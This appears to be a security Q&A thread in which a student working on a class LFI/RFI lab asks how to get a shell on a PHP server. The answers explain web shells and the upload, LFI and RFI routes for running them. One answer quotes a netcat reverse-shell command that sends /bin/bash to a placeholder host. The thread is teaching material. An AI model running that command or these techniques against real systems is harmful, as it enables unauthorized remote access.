0

In class, I was given the task of using LFI and RFI to find tokens hidden in specific web pages. I completed the first two tasks fine, however, there is another task, the final boss if you will, that I am stumped on.

We are meant to find a token in /var/www/token.txt but when using LFI it doesn't work. It comes up with a pop up saying "In order to get this token you need to get a shell on the box and run the file you can find in /var/www/".

How do I open a shell/what does that mean? And how do I make it so I can run the file?

  • What shell you upload depends on the type of server you are targetting. I can only give very generic answers here and can't provide a tutorial. The task assumes that you know what uploading a shell means, and once you do, it should take about 30 minutes. – schroeder Nov 12 '19 at 15:14
  • @schroeder♦ Ok, i will give you a quick sort of run through. We have been given a virtual machine with 3 ip's to websites we can access, as well as our local ip. Also, we have been given 3 questions. "find the token which is stored in /var/www/token.txt." for all 3 ip's. The first 2 were easy, just some LFI stuff. But this one, the piece de resistance, has been annoying. It is a PHP server/website. i can access etc/passwd and i need to open a shell to find a file stored in var/www to get the token. Our virtual machines do not have access to the internet though. – ismaeel ali Nov 12 '19 at 15:18
1

"Open a shell" means that you upload code to the site that it will run, which will give you command access to the server. There are shells you can download from various sites to meet your needs (PHP, Java, etc.). You upload the shell using the same process you used for RFI.

The shell runs as the same user as the web service, so it should give you access to /var/www since that's typically the root directory for the webserver.

|improve this answer|||||
  • We have a virtual machine which can't access the internet. One thing i read was something about backdoors stored in /usr/share/webshells, how do i upload one of those stored in my filesystem? – ismaeel ali Nov 12 '19 at 15:21
  • I really can't help with things that specific. It sounds like those backdoors are what you need. How to access and upload is not something I can help with. – schroeder Nov 12 '19 at 15:22
1

Based on comments, I am assuming this is a LAMP stack (and will have to make a few more assumptions as well). I'll nudge you and others who find themselves here in the right direction :D

How do I open a shell/what does that mean?

In general, a shell (as described here) is a way to send arbitrary commands to the operating system and obtain output (results of those commands). Typically it is associated with a command shell such as bash or zsh.

In an offensive security context like you're describing, a shell is generally referring to a way of getting some level of interactive remote code execution. This can be through a network utility tool that redirects bash input/output to a network socket (ex. netcat nc -nv <your IP> <your listening port> -e /bin/bash), or something such as a "web shell" which appears to be the focus of your exercise.

A web shell is typically a script file written in the language of your target web server (aspx, jsp, etc., in this case php) that executes system commands via an HTTP web request and returns the results of the commands in the HTTP response.

Here is a great cheat sheet for various types of shells.

And how do I make it so I can run the file?

For a successful attack, you need the target server to interpret and run the php web shell code. Here are a few options:

  • Unrestricted File Upload - Upload a file to a known location (ex. /uploads/) and then browse to it, which will run the code
  • Local File Inclusion (LFI) - Cause the application to include a local system file that has attacker code in it (like old-school log poisoning attack)
  • Remote File Inclusion (RFI) - Cause the application to include a remote file from a server you control. This is very powerful and rarer these days.

What I would do...

I would try all three above (as long as there's an upload functionality to try the first one)! Practice and play around, research the hows and whys, and take notes.

Keep the shell simple such as a php one-liner. Check the reference in the LFI bullet above for more info. Once you have command execution, you can just display the contents of the file using a system command.

Assuming you're wanting to dig deep into this, I would start reading CTF writeups such as vulnhub (check for ones with Walkthroughs) or hackthebox (I love ippsec, search something like LFI or RFI) and you'll see this kind of thing demonstrated time and again.

|improve this answer|||||

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.